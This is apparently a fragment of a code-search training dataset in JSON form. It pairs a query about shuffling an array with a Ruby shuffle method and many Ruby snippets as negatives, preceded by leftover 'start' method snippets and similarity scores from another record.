|conn| conn.start(@start_bytes) }\n @running = true\n end\n end", "def start!\n lock\n\n begin\n if config.core_base\n @config.state = \"started\"\n write_config current_deployment_number, @config\n @logger.debug \"Starting core\"\n @starter.start! config.core_base\n @config.last_start_time = time\n end\n\n announce\n return status\n rescue Exception => e\n error_reason = \"Unable to start: #{e}\"\n error_reason += \"\\n#{e.message}\" if e.class == Galaxy::HostUtils::CommandFailedError\n @logger.error error_reason\n raise error_reason\n ensure\n unlock\n end\n end", "def start\n data = Storm::Base::SODServer.remote_call '/Server/start',\n :uniq_id => @uniq_id\n data[:started]\n end", "def start\n loop do\n run\n end\n end", "def start_instance\n prof = default_profile or\n raise NoProfileAvailable, 'No default profile available'\n prof.start_instance\n end", "def start\n return if running?\n @running = true\n @thread = Thread.new {@server.start}\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n super\n send(generate_stream_start(@jid.domain)) { |e|\n if e.name == 'stream'\n true\n else\n false\n end\n }\n end", "def start\n @worker.start\n end", "def autostart; end", "def start\n\n end", "def raw_start\n with_provider_object do |instance|\n instance.actions.start\n instance.wait_for! do\n sdk_update_status(instance)\n instance.started?\n end\n end\n rescue => e\n $ibm_cloud_log.error(e.to_s)\n $ibm_cloud_log.log_backtrace(e)\n raise\n end", "def raw_start\n with_provider_object do |instance|\n instance.actions.start\n instance.wait_for! do\n sdk_update_status(instance)\n instance.started?\n end\n end\n rescue => e\n $ibm_cloud_log.error(e.to_s)\n $ibm_cloud_log.log_backtrace(e)\n raise\n end", "def start\n configure\n run\n end", "def start_dumping\n %Q{Start dumping ...}\n end", "def start\n @api_error = { loc: 'recording_api.start', msg: '' }\n\n safe_call do\n fail(APIError,\n 'Call to start while recording in progress!') if is_recording?\n\n @recording_event_handler.starting\n @recorder_manager.start_recorders(project_id, booking_id)\n @recording_event_handler.started(@recorder_manager.recorders)\n end\n return status\n end", "def start?\r\n start\r\n end", "def start\n end", "def start\n end" ]
[ "0.6557358", "0.6504527", "0.64273775", "0.6339489", "0.61980784", "0.61461645", "0.6062989", "0.59757465", "0.5909539", "0.58762586", "0.58721805", "0.58678514", "0.58613294", "0.5850875", "0.5850436", "0.58404005", "0.5806118", "0.57981837", "0.57851905", "0.57562727", "0.5746405", "0.5744353", "0.5743406", "0.57387346", "0.57377696", "0.568631", "0.5686092", "0.5677121", "0.5671308", "0.5664683", "0.5652605", "0.56524307", "0.5651859", "0.5641758", "0.5641758", "0.5641758", "0.5639873", "0.5622064", "0.56218994", "0.56098914", "0.5605493", "0.5605493", "0.5596953", "0.5573182", "0.55669993", "0.5566868", "0.5553682", "0.55347234", "0.5534413", "0.55214196", "0.5516569", "0.5498439", "0.5488475", "0.54801995", "0.54797477", "0.54723525", "0.546423", "0.54587877", "0.54496354", "0.54268163", "0.54251903", "0.5419319", "0.5419319", "0.5416398", "0.5413453", "0.5405986", "0.5405763", "0.5398925", "0.5398838", "0.5394106", "0.53900516", "0.5387682", "0.5384292", "0.53837335", "0.5373104", "0.5371258", "0.53681433", "0.5367574", "0.536712", "0.53670084", "0.53658944", "0.5364459", "0.5355757", "0.5353761", "0.53464913", "0.53335315", "0.53335315", "0.53335315", "0.53335315", "0.5332053", "0.53299284", "0.5317506", "0.53025764", "0.53002745", "0.53002745", "0.529746", "0.5294078", "0.52890396", "0.5284496", "0.52819586", "0.52819586" ]
0.0
-1
Creates a log event to indicate a scope change (e.g. sprint started, issue closed).
def log_activity(issue, type, change) activities.build(:issue_id => issue.id, :type_of_change => type, :scope_change => change) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def scopeChanged\n pp [:got_scopeChanged] if $DEBUG\n end", "def write_initial_event\n publish_to_feed(\"project:#{self.id}:create\", \"#{self.group.display_name} created a new project: #{self.display_name}\")\n end", "def provenance_log_create\n curation_concern.provenance_create( current_user: current_user, event_note: EVENT_NOTE )\n end", "def log_event( repo_object )\n repo_object.log_event( event ) if repo_object.respond_to? :log_event\n end", "def relevant_events_scope\n raise NotImplementedError\n end", "def provenance_log_create\n curation_concern.provenance_create( current_user: current_user, event_note: 'DataSetsController' )\n end", "def log_event(event, params)\n end", "def log_entry(name, kvs = {})\n return unless tracing?\n self.current_trace.new_span(name, kvs)\n end", "def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if saved_change_to_attribute?(:created_at)\n logger.info \"Created redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n end\n end", "def create_with_scope(name); end", "def create_log(param); end", "def create_log_entry\n Rails.logger.debug(\"@@@ create_log_entry: task = #{@task.inspect} event = #{@event.inspect}\")\n params = Hash.new\n params[:user_id] = current_user.id\n params[:role_id] = current_user.role.id\n params[:ot_id] = @task.ot.id\n params[:task_id] = @task.id\n params[:description] = \"Transicion de #{@task.current_state} a #{@task.current_state.events[@event.to_sym].transitions_to}\"\n log_entry = Audit.new(params)\n log_entry.save\n end", "def autolog_created\n autolog_event(:created)\n end", "def make_log(current_employee, old_in, old_out, new_in, new_out)\n self.changelogs.build(:changed_by => current_employee.name, :old_in => old_in, :old_out => old_out, :new_in => new_in, :new_out => new_out)\n self.save!\n end", "def activity_log_create\n write_activity_log(:create)\n end", "def after_create(record)\n create_event_log(record, 'created')\n end", "def log(project, project_params, action, status = nil)\n status_change = 0\n if status\n old_status = Status.find(status)\n new_status = Status.find(project.status_id)\n\n status_change = new_status.sorting - old_status.sorting\n end\n\n ProjectLog.create(project_id: project.id, params: project_params.to_json, action: action, status_change: status_change)\n end", "def ensure_event_log\n unless @ensured_event_log\n ReplicationInitializer.new(session).ensure_event_log\n @ensured_event_log = true\n end\n end", "def relevant_events_scope\n events\n end", "def scope_level; end", "def scope_increase()\n @@scope_no += 1\n @@variable_list.push({})\n if @@our_debug then puts \"#{debug_time} Increase the scope with 1 to #{@@scope_no}\" end\n :ok\nend", "def log_changes(location,description,observation=nil,author=nil,description_patch=nil,\n former_type_ids=[],former_location=nil)\n c = Change.new\n c.location = location\n c.description = description\n c.remote_ip = request.headers['CF-Connecting-IP'] || request.remote_ip \n c.user = current_user if user_signed_in?\n c.observation = observation\n c.description_patch = description_patch\n c.former_type_ids = former_type_ids\n c.former_location = former_location\n # adding an observation\n if author.nil? and not observation.nil?\n c.author = observation.author\n # adding a location\n elsif author.nil? and observation.nil? and description == \"added\"\n c.author = location.author\n # editing a location\n elsif not author.nil?\n c.author = author\n end\n c.save\n end", "def scope_name; end", "def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if created_at_changed?\n logger.info \"Created assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n else\n # RoleAssignments should really only be created or destroyed, not updated.\n logger.error \"log_changes called for existing RoleAssignment. This shouldn't happen. Assignment is between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n else\n logger.warn \"Unknown action in log_changes #{action}.\"\n end\n end\n end", "def notice_first_scope_push(time)\n start_builder(time.to_f) if enabled?\n end", "def history_create\n # history_log('created', created_by_id)\n end", "def log_create\n if self.class.name == 'ParticipantsSportEntry'\n model = self.sport_entry\n action = 'UPDATE'\n else\n model = self\n action = 'CREATE'\n end\n\n ModelAuditJob.perform_now(model, action, audit_user_id)\n end", "def name\n return \"New Log\" if !id\n source.capitalize + \" log at \" + fault_time.strftime(\"%FT%T\")\n end", "def push_scope(tag, time = Time.now.to_f, deduct_call_time_from_parent = true)\n stack = scope_stack\n transaction_sampler.notice_push_scope(time) if sampler_enabled?\n scope = ScopeStackElement.new(tag, time, deduct_call_time_from_parent)\n stack.push scope\n scope\n end", "def create_event_log\n silence_ddl_notices(:left) do\n table_name = \"#{options[:rep_prefix]}_logged_events\"\n session.left.create_table \"#{options[:rep_prefix]}_logged_events\"\n session.left.add_column table_name, :activity, :string\n session.left.add_column table_name, :change_table, :string\n session.left.add_column table_name, :diff_type, :string\n session.left.add_column table_name, :change_key, :string\n session.left.add_column table_name, :left_change_type, :string\n session.left.add_column table_name, :right_change_type, :string\n session.left.add_column table_name, :description, :string, :limit => DESCRIPTION_SIZE\n session.left.add_column table_name, :long_description, :string, :limit => LONG_DESCRIPTION_SIZE\n session.left.add_column table_name, :event_time, :timestamp\n session.left.add_column table_name, :diff_dump, :string, :limit => DIFF_DUMP_SIZE\n session.left.remove_column table_name, 'id'\n session.left.add_big_primary_key table_name, 'id'\n end\n end", "def notice_push_scope(time=Time.now)\n return unless builder\n\n segment = builder.trace_entry(time.to_f)\n @sample_buffers.each { |sample_buffer| sample_buffer.visit_segment(segment) }\n return segment\n end", "def log_work_event(work)\n work.log_event(event)\n end", "def qualified_event; end", "def qualified_event; end", "def log_changes(action)\n Rails.logger.tagged \"ApplicationOperatorship #{id}\" do\n case action\n when :save\n if saved_change_to_attribute?(:created_at)\n logger.info \"Created application operatorship between #{entity.log_identifier} and #{application.log_identifier}.\"\n else\n # ApplicationOperatorships should really only be created or destroyed, not updated.\n logger.error \"log_changes called for existing ApplicationOperatorship. This shouldn't happen. Operatorship is between #{entity.log_identifier} and #{application.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed application operatorship between entity (ID #{entity_id}, #{entity&.log_identifier}) and application (ID: #{application_id}, #{application&.log_identifier}).\"\n else\n logger.warn \"Unknown action in log_changes #{action}.\"\n end\n end\n end", "def on_def(node)\n add_scope(node)\n end", "def log_event(repo_object)\n repo_object.log_event(event)\n rescue => exception\n Honeybadger.notify(exception)\n end", "def create_activity(object, symbol, old_value, new_value, activity_params)\n object.create_activity \"change_#{symbol}\".to_sym,\n owner: current_user,\n recipient: object,\n parameters: activity_params.merge(old: old_value, new: new_value)\n end", "def trigger_by_scope!(event, *args, &block)\n trigger!(event, block, *args)\n end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def publish_scope(record_class, scope_name)\n subscribers = Hyperloop.redis_instance.hgetall(\"HRPS__#{record_class}__scope__#{scope_name}\")\n time_now = Time.now.to_f\n scrub_time = time_now - 24.hours.to_f\n message = {\n record_type: record_class.to_s,\n scope: scope_name\n }\n subscribers.each_slice(10) do |slice|\n channel_array = []\n slice.each do |session_id, last_requested|\n if last_requested.to_f < scrub_time\n Hyperloop.redis_instance.hdel(\"HRPS__#{record_class}__scope__#{scope_name}\", session_id)\n next\n end\n channel_array << \"hyper-record-update-channel-#{session_id}\"\n end\n if Hyperloop.resource_transport == :pusher\n _pusher_client.trigger_async(channel_array, 'update', message)\n elsif Hyperloop.resource_transport == :action_cable\n channel_array.each do |channel|\n ActionCable.server.broadcast(channel, message)\n end\n end\n end\n end", "def create_work_event\n\t\n end", "def ensure_event_log\n create_event_log unless event_log_exists?\n end", "def initialize repo, type\n @repo, @process, @type = repo, 'activity', type\n @log = RepoLog.create_log @repo, @process, @type\n end", "def log_destruction\n if User.current &&\n (obs = observation)\n obs.log(:log_naming_destroyed, name: format_name)\n obs.calc_consensus\n end\n end", "def new_tagged_logger; end", "def audit_trail(context_to_log = nil)\n @transition_auditor ||= StateMachine::AuditTrail::Backend.create_for_transition_class(transition_class, self.owner_class, context_to_log)\n end", "def create_log_file(npc_parameters, log_file)\n log_file.ensure_exists\n contents = <<~CONTENTS\n === Project information\n\n #{npc_parameters.summary || 'undefined'}\n\n CONTENTS\n new_file_entry = ObservationEntry.new(content: 'File generated by new-project command').render('File created')\n contents += new_file_entry\n write_file(log_file.path, contents)\n print 'created'\n end", "def scope=(value)\n @scope = value\n end", "def scope=(value)\n @scope = value\n end", "def scope=(value)\n @scope = value\n end", "def scope=(value)\n @scope = value\n end", "def scope=(value)\n @scope = value\n end", "def scope=(value)\n @scope = value\n end", "def notice_pop_scope(scope, time = Time.now)\n return unless builder\n raise \"finished already???\" if builder.sample.finished\n builder.trace_exit(scope, time.to_f)\n end", "def resourceType\n 'AuditEvent'\n end", "def on_new_investigation; end", "def on_new_investigation; end", "def on_new_investigation; end", "def send_history(event)\n event << \"Function not available yet, restructuring being done (since 2020 :joy:).\"\nend", "def history_added=(_arg0); end", "def event_log(msg)\n time = Time.now.strftime(\"%h %d %H:%M:%S\")\n$stdout.puts \"LOG: #{msg}\"\n# _open_sefile('server.log', 'a') { |f| f.puts \"(#{time}) #{msg}\" } rescue nil\nend", "def log_create(target = self.target)\n return unless target&.respond_to?(:log)\n\n target.log(:log_comment_added, summary: summary, touch: true)\n end", "def event\n request.env[\"HTTP_X_GITHUB_EVENT\"]\n end", "def create_change_log(database)\n silence_ddl_notices(database) do\n connection = session.send(database)\n table_name = \"#{options[:rep_prefix]}_pending_changes\"\n connection.create_table table_name\n connection.add_column table_name, :change_table, :string\n connection.add_column table_name, :change_key, :string\n connection.add_column table_name, :change_new_key, :string\n connection.add_column table_name, :change_type, :string\n connection.add_column table_name, :change_time, :timestamp\n connection.remove_column table_name, 'id'\n connection.add_big_primary_key table_name, 'id'\n end\n end", "def create\n @scope = Scope.new(scope_params)\n\n respond_to do |format|\n if @scope.save\n SystemLog.create(description: \"Cadastrou um esocpo chamado #{@scope.name}\", author: name_and_type_of_logged_user)\n format.html { redirect_to [:records, @scope], notice: 'Tipo de escopo criado com sucesso.' }\n format.json { render :show, status: :created, location: @scope }\n else\n format.html { render :new }\n format.json { render json: @scope.errors, status: :unprocessable_entity }\n end\n end\n end", "def activity_log_create\n write_activity_log(:create)\n raise Exception.new \"Shouldn't be calling activity_log_create\"\n end", "def build_created_audit(rec, eh)\n build_audit_payload(rec, eh[:new], nil, \"#{rec.class.to_s.downcase}_record_add\", \"Record created\")\n end", "def fired_event(event)\n history << event\n\t update_task_status(event)\n end", "def log_event(info = nil)\n if current_user\n action = \"#{controller_name}/#{action_name}\"\n log = ActivityLog.new(user: current_user, action: action, info: info)\n log.save\n end\n end", "def audit\n data = {\"changes\" => changes, \"metadata\" => audit_metadata}\n Audit::Tracking.log.record(audit_bucket, self.id, data)\n end", "def newscope(parent, options = {})\n raise _('having multiple named scopes is not supported when scripting')\n end", "def scope=(new_scope)\n case new_scope\n when Array\n @scope = new_scope.join(' ')\n when String\n @scope = new_scope\n when nil\n @scope = ''\n else\n raise TypeError, \"Expected Array or String, got #{new_scope.class}\"\n end\n end", "def event_change\n\t\n\tend", "def formatScope(theScope, theLines)\n\n\tnewLines = theLines.dup;\n\t\n\tcase theScope\n\twhen :enum\n\t\tformatEnum(newLines);\n\t\n\twhen :struct\n\t\tformatStruct(newLines);\n\t\n\twhen :class\n\t\tformatClass(newLines);\n\t\n\twhen :constructor\n\t\tformatConstructor(newLines);\n\n\twhen :function\n\t\tformatFunction(newLines);\n\t\n\twhen :global\n\t\tformatGlobal(newLines);\n\tend\n\t\n\treturn newLines;\n\nend", "def add_event(type, who, message)\n ev = ng_xml.create_element \"event\", message, \n :type => type, :who => who, :when => Time.now.xmlschema\n ng_xml.root.add_child(ev)\n content_will_change!\n end", "def store_changes(old_object, new_object)\n change_att = new_object.difference old_object\n unless change_att == \"\"\n Event.create(class_name: new_object.class.to_s,object_id: new_object.id, change: change_att)\n end\n end", "def log_user_event\n depositor.log_event(event)\n end", "def changes\n @changes ||= Changes.new do |msg|\n log.indent do\n log << msg\n end\n end\n end", "def announce_consensus_change(old_name, new_name)\n log_consensus_change(old_name, new_name)\n\n # Change can trigger emails.\n owner = user\n sender = User.current\n recipients = []\n\n # Tell owner of observation if they want.\n recipients.push(owner) if owner&.email_observations_consensus\n\n # Send to people who have registered interest.\n # Also remove everyone who has explicitly said they are NOT interested.\n interests.each do |interest|\n if interest.state\n recipients.push(interest.user)\n else\n recipients.delete(interest.user)\n end\n end\n\n # Remove users who have opted out of all emails.\n recipients.reject!(&:no_emails)\n\n # Send notification to all except the person who triggered the change.\n (recipients.uniq - [sender]).each do |recipient|\n QueuedEmail::ConsensusChange.create_email(sender, recipient, self,\n old_name, new_name)\n end\n end", "def build_saved_audit(rec, eh)\n build_audit_payload(rec, eh[:new], eh[:current], \"#{rec.class.to_s.downcase}_record_update\", \"Record updated\")\n end", "def create_changelog(tag, project_type)\n # disabling cop, unable to break up system commands\n # rubocop:disable Metrics/LineLength, Style/StringLiterals\n commit_summaries_since_last_tag_pretty =\n `git log --since=\"#{ tag.last_tag_date }\" --pretty=format:'%Cblue %ci %Creset-%Cred %an%Creset - %s'`\n commit_summaries_since_last_tag_raw =\n `git log --since=\"#{ tag.last_tag_date }\" --pretty=format:' * %s'`\n # rubocop:enable Metrics/LineLength, Style/StringLiterals\n\n puts \" The following commits were made since the last tag was created\"\n puts DIVIDER_BLUE\n print commit_summaries_since_last_tag_pretty\n puts DIVIDER_BLUE\n\n if confirm \"#{ YELLOW } The above will be added to the changelog by typing 'y'\" \\\n \", type 'n' if you wish to write a custom changelog message.(#{WHITE}y\" \\\n \"#{YELLOW}/#{WHITE}n#{YELLOW})#{DEFAULT_COLOR} \"\n changelog = GitTagger::Changelog\n .new(tag.semantic_version, commit_summaries_since_last_tag_raw, true)\n puts changelog.update_text\n else\n puts \" #{ YELLOW }Enter a brief changelog message to describe the \" \\\n \"updates since the last tag was created, then press [#{WHITE}ENTER\" \\\n \"#{YELLOW}]#{DEFAULT_COLOR}\"\n print \" * \"\n changelog_message = STDIN.gets.strip\n puts LINE_BUFFER\n changelog = GitTagger::Changelog\n .new(tag.semantic_version, changelog_message, false)\n puts \"#{ YELLOW } The following will be prefixed to the CHANGELOG.md \" \\\n \"file #{DEFAULT_COLOR}\"\n puts LINE_BUFFER\n puts changelog.update_text\n end\n\n if confirm \"#{ YELLOW } Are you sure that you would like to commit \" \\\n \"this change to origin/master before creating the new tag? (#{WHITE}y\" \\\n \"#{YELLOW}/#{WHITE}n#{YELLOW})#{DEFAULT_COLOR} \"\n changelog.update(project_type)\n changelog.add_to_git\n else\n abort(\"Aborting tagging process.\")\n end\n\n end", "def audit_create\n if self.class.auditing_enabled\n write_audit(:create)\n end\n true\n end", "def scope= new_scope\n case new_scope\n when Array\n new_scope.each do |scope|\n if scope.include? \" \"\n raise ArgumentError,\n \"Individual scopes cannot contain the space character.\"\n end\n end\n @scope = new_scope\n when String\n @scope = new_scope.split \" \"\n when nil\n @scope = nil\n else\n raise TypeError, \"Expected Array or String, got #{new_scope.class}\"\n end\n end", "def create_log_event(level, message, data=nil)\n event = {}\n event[:timestamp] = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S.%6N%z\")\n event[:level] = level\n event[:message] = message\n if data.is_a?(Hash)\n event.merge!(data)\n end\n# MultiJson.dump(event)\n Oj.dump(event)\n end", "def time_stamp(event)\n file_local_write(@logfile,\"\\nKeylog Recorder #{event} at #{Time.now.to_s}\\n\\n\")\n end", "def after_create_org\n controller = PublicActivity.get_controller\n\n # Return if seeding or nothing changes\n return if !controller || self.changed.blank?\n\n current_user = PublicActivity.get_controller.current_user\n\n activity = self.create_activity :create, owner: current_user, trackable: self, params: {:detail => I18n.t('logs.create_org', org_name: self.name)}\n activity.organization_id = current_user.organization_id\n activity.save\n end", "def log_message(event)\n puts event.message.inspect\n end", "def log_round_change(_event)\n round_change_str = \"Round #{@current_round} start\\n\"\n\n @all_trades_log << round_change_str\n @commodity_logs.each_value { |logfile| logfile << round_change_str }\n\n @current_round += 1\n end", "def update_activity_logs\n request_number = request.number\n req_link = \"<a href = 'requests/#{request_number}'>#{request_number}</a>\"\n app = request.app_name.size > 1 ? \"Applications\" : \"Application\"\n # Log activity is not supported in Rails3\n #User.current_user.log_activity(:context => \"#{req_link} has been #{request.aasm_state} for #{app} #{request.app_name.to_sentence}\") do\n #end\n end", "def after_create\n oscopes = OscopeMsg.find_all_by_timestamp_and_user_id(timestamp, user_id)\n # instantiation of oscopes already caused oscope_start_msg to link to them\n # :update_without_callbacks is a provate method. direct call will not work. need to 'send' it\n oscopes.each {|p| p.send(:update_without_callbacks) } # this will save all instantiated oscopes\n end" ]
[ "0.5870572", "0.5510152", "0.54862803", "0.545429", "0.5380848", "0.5293876", "0.5244658", "0.5223669", "0.517622", "0.5153984", "0.5148474", "0.5142857", "0.5141063", "0.5138201", "0.51122475", "0.51114655", "0.51103956", "0.5067827", "0.50516737", "0.5024196", "0.49972418", "0.49876487", "0.4975266", "0.49604487", "0.4948234", "0.4934006", "0.4913589", "0.49135333", "0.49061376", "0.49057695", "0.49032405", "0.49011713", "0.4884132", "0.4884132", "0.48821333", "0.4862881", "0.4850857", "0.48438206", "0.48249876", "0.48188555", "0.48188555", "0.48188555", "0.48188555", "0.48188555", "0.48188555", "0.48188555", "0.48188555", "0.48188555", "0.48188555", "0.48070493", "0.4806302", "0.4797739", "0.47964638", "0.47915542", "0.47811908", "0.47809893", "0.4780359", "0.47673804", "0.47673804", "0.47673804", "0.47673804", "0.47673804", "0.47673804", "0.47541246", "0.47476327", "0.47427306", "0.47427306", "0.47427306", "0.47409353", "0.4722787", "0.47193795", "0.47009182", "0.46950483", "0.46896946", "0.4687086", "0.46864396", "0.46855593", "0.46794346", "0.46783528", "0.46722096", "0.466895", "0.4656218", "0.4656154", "0.46539906", "0.46493143", "0.46441278", "0.46439078", "0.46411523", "0.46398368", "0.46236357", "0.46212387", "0.46207032", "0.46112794", "0.4610854", "0.46007985", "0.4586814", "0.4585451", "0.45786303", "0.45785475", "0.45724565" ]
0.63244087
0
Given an array and a random number generator, shuffle the array.
def shuffle(array) new_array = array.dup array.each_index do |index| rand_index = index + rand(array.length - index) new_array[index], new_array[rand_index] = new_array[rand_index], new_array[index] end new_array end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def shuffle_array array\n array.sort_by!{ rand }\n end", "def shuffle( array )\n array.shuffle\n end", "def shuffle array\r\n array.sort_by{rand}\r\nend", "def shuffle array\n array.sort_by {rand}\nend", "def shuffle arr\r\n\tarr.sort_by{rand}\r\nend", "def shuffle arr\r\n\tarr.sort_by{rand}\r\nend", "def shuffle array\n\t# setting up new empty array for the shuffled finished version\n\tnew_shuffled_array = []\n\n\t# while the array has items in it we will shuffle it.\n\twhile array.length > 0\n\t\tnew_shuffled_array << array.delete_at(rand(arr.length))\n\tend\n\n\t# will print our shuffle array\n\tshuffled_array\n\n\t# ends the shuffle method\n\tend", "def shuffle(array)\n return array.shuffle\nend", "def randomize_array(array_length)\n (0..array_length).to_a.shuffle\n end", "def shuffle(length, array)\n \n array.to_a.sample(length)\n\nend", "def shuffle arr\r\n\tshuf = []\r\n\twhile arr.length > 0\r\n\t\trand_index = rand(arr.length)\r\n\t\tcurr_index = 0\r\n\t\tnew_arr = []\r\n\t\tarr.each do |item|\r\n\t\t\tif curr_index == rand_index\r\n\t\t\t\tshuf.push item\r\n\t\t\telse\r\n\t\t\t\tnew_arr.push item\r\n\t\t\tend\r\n\t\t\tcurr_index = curr_index + 1\r\n\t\tend\r\n\t\tarr = new_arr\r\n\tend\r\n\tshuf\r\nend", "def shuffle(array)\n new_array = []\n count = array.count\n duplicate = array.dup\n until new_array.count == count\n random_index = rand(duplicate.count)\n new_array << duplicate[random_index]\n duplicate.delete_at(random_index)\n end\n return new_array\nend", "def shuffle arr\r\n\tshuf = []\r\n\twhile arr.length>0\r\n\t\trand_index = rand(arr.length)\r\n\t\tcurr_index = 0\r\n\t\tnew_arr = []\r\n\t\tarr.each do |item|\r\n\t\t\tif curr_index == rand_index\r\n\t\t\t\tshuf.push item\r\n\t\t\telse \r\n\t\t\t\tnew_arr.push item\r\n\t\t\tend\r\n\t\t\tcurr_index = curr_index + 1\r\n\t\tend\r\n\t\tarr = new_arr\r\n\tend\r\n\tshuf\r\nend", "def shuffle(arr)\n arr.sort_by! { |x| x = rand }\nend", "def shuffle arr\n shuffled = []\n\n while arr.length > 0\n rand_index = rand(arr.length)\n shuffled << arr[rand_index]\n arr.delete_at(rand_index)\n end\n\n shuffled\nend", "def shuffle(arr)\n (0...arr.size).each do |i|\n ran_idx = i + rand(arr.size - i)\n arr[i], arr[ran_idx] = arr[ran_idx], arr[i]\n end\n arr\nend", "def shuffle arr\n arr.length > 1 ? [arr.slice!(rand(0..arr.length-1)) ] + shuffle(arr) : arr\nend", "def shuffle array\n shuffled_array=[]\n until array==[]\n length = array.length\n random=rand(length).to_i\n shuffled_array.push array[random]\n array.delete_at(random)\n end\n shuffled_array\nend", "def shuffle(array)\n ## record the length of the array\n x = array.length\n ## create a second array\n changedarray = []\n ## define a new variable to count through the items\n y = 0\n ## go through the array X times and insert\n ## the number of the item and the array item\n ## into the new second array\n ## then loop by adding 1 to 'y'cs\n x.times do\n changedarray.insert(y, array[y])\n y += 1\n end\n ## create a new array for the shuffled array\n shuffled = []\n ## while the length of the array isn't zero\n while x > 0\n ## make 'y' a random number within the number of\n ## items in the array\n y = rand(x)\n ## push a slice of the changedarray item (not\n ## the number) into the new 'shuffled' array\n shuffled.push changedarray.slice!(y)\n ## keep looping by taking one from the length\n ## every time\n x -= 1\n end\n return shuffled\nend", "def my_shuffle some_array \n rec_shuffle some_array, []\nend", "def shuffle(array)\n array.each_index do |idx|\n shuffle = rand(array.length)\n array[idx], array[shuffle] = array[shuffle], array[idx]\n end\n array\nend", "def shuffled(seq)\n return shuffle(seq)\nend", "def shuffle(ary)\n ary_dup = ary.dup\n n = ary_dup.length\n (0...n).each do |i|\n j = rand([i+1, n-1].min...n)\n ary_dup[i], ary_dup[j] = ary_dup[j], ary_dup[i]\n end\n ary_dup\n end", "def my_shuffle(arr)\n random_index = (0...arr.size).to_a.shuffle\n (0...arr.size).each do |i|\n index = random_index.pop\n arr[i], arr[index] = arr[index], arr[i]\n end\n arr\nend", "def shuffle(array)\nsize = array.length\n while size >=0\n swapInd = Random.rand(size)\n last = array.last\n array[-1] = array[swapInd]\n array[swapInd] = last\n size = size-1\n end\n array\nend", "def shuffle(arr)\n\n for i in 0...arr.length\n last_id = arr.length - 1\n r_id = rand(i + 1 .. last_id).to_i\n temp = arr[r_id]\n arr[r_id] = arr[i]\n arr[i] = temp\n end\n\n return arr\n\nend", "def shuffle(array)\n recursive_shuffle array, []\nend", "def randomize(names_array)\n\tnames_array.shuffle!\nend", "def shuffle(array)\n (array.size-1).downto(1) do |x|\n \ty = rand(x+1)\n \tarray[x], array[y] = array[y], array[x]\n end\n\narray\nend", "def shuffle\n shuf = @nums.clone\n l = shuf.length\n (0...l).each do |i|\n rand = rand(i...l)\n shuf[i], shuf[rand] = shuf[rand], shuf[i]\n end\n shuf\n end", "def shuffle arr\n recursive_shuffle arr, []\nend", "def in_place_array_shuffle(arr)\n\n arr.each_index do |idx|\n jdx = rand(0...arr.length)\n arr[jdx], arr[idx] = arr[idx], arr[jdx]\n end\n arr\n\nend", "def shuffle(arr)\n arr.each_with_index do |item, pos|\n new_pos = rand(0...arr.size)\n arr[pos] = arr[new_pos]\n arr[new_pos] = item\n end\n return arr\nend", "def shuffle(array)\n return array if array.size <= 1\n\n last_index_position = array.size - 1\n array.each_with_index do |element, index|\n random_position = get_random(element, last_index_position)\n array[element_index] = array[element], array[random_position] = array[random_position], array[element]\n end\n\n return array\nend", "def shuffle!\r\n\t\trandomize!\r\n\tend", "def shuffle!(*args)\n method_missing(:shuffle!, *args) if self.effective_dim > 1\n ary = self.to_flat_a\n ary.shuffle!(*args)\n ary.each.with_index { |v,idx| self[idx] = v }\n self\n end", "def shuffle(data)\n usedIndices = []\n newArray = []\n until usedIndices.length == data.length\n r = rand(data.length)\n if not usedIndices.include? r\n usedIndices << r\n newArray << data[r]\n end\n end\n return newArray\nend", "def fisher_yates_shuffle(a)\n (a.size-1).downto(1) { |i|\n j = rand(i+1)\n a[i], a[j] = a[j], a[i] if i != j\n }\nend", "def shuffle\n\t\tsrc = self.clone\n\t\tary = Array.new()\n\t\tuntil src.empty?\n\t\t\tary << src.delete(src.sample)\n\t\tend\n\t\treturn ary\n\tend", "def shuffle(*args)\n method_missing(:shuffle!, *args) if self.effective_dim > 1\n t = self.clone\n t.shuffle!(*args)\n end", "def shuffle!\n s = size\n each_index do |j|\n i = SecureRandom.random_number(s-j)\n tmp = self[j]\n self[j] = self[j+i]\n self[j+i] = tmp\n end\n self\n end", "def shuffle()\n @x.shuffle\n \n end", "def shuffle the_array\n if the_array.length <= 1\n puts 'there is nothing to shuffle!'\n return the_array\n end\n\n num = the_array.length\n for i in 0..the_array.length-1\n #puts the_array[i]\n for j in i+1..the_array.length-1\n temp = the_array[j]\n random_number = rand(num)\n the_array[j] = the_array[random_number]\n the_array[random_number] = temp\n #puts '...' + the_array[j].to_s\n\n end\n\n end\n return the_array\nend", "def shuffle!()\n replace(shuffle)\n end", "def mixup_shuffle arr\n recursive_shuffle(arr, [])\nend", "def shuffle arr\r\n\tshuf = []\r\n\t# returned array\r\n\twhile arr.length > 0\r\n\t\t# randomly pick one element of the array\r\n\t\trand_index = rand(arr.length)\r\n\t\t# rand_index = 4\r\n\t\t# now go thru ea item in the array, putting them\r\n\t\t# all into new_arr except for the randomly chosen\r\n\t\t# one, which goes into shuf\r\n\r\n\t\tcurr_index = 0\r\n\t\t# tracks current index\r\n\t\tnew_arr = []\r\n\t\t# ?????\r\n\r\n\t\tarr.each do |item|\r\n\t\t\tif curr_index == rand_index\r\n\t\t\t\t# 0 == 4 -> no\r\n\t\t\t\t# when 4 == 4\r\n\t\t\t\tshuf.push item\r\n\t\t\t\t# shuf = [5]\r\n\t\t\telse\r\n\t\t\t\tnew_arr.push item\r\n\t\t\t\t# new_array = [1,2,3,4]\r\n\t\t\tend\r\n\r\n\t\t\tcurr_index = curr_index + 1\r\n\t\t\t# curr_index = 1 .. 